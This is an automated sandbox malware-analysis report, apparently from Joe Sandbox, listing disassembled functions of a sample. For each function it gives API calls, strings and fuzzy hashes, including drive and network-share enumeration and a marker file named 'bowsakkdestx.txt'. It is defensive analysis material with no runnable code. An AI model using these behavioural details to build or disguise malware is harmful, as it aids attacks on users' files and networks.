Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: cc0f5d6b2fdb9ef589aaf1f09e5703e68a62278c51f30d11e6c2248a47004f36
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: cc0f5d6b2fdb9ef589aaf1f09e5703e68a62278c51f30d11e6c2248a47004f36
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

reason(%lu), xrefs: 00450758
func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 5eaddf98615f3ccf4cac01015d8d3972c4a1175607e626bbf50d5c61fd2a7b38
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 5eaddf98615f3ccf4cac01015d8d3972c4a1175607e626bbf50d5c61fd2a7b38
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
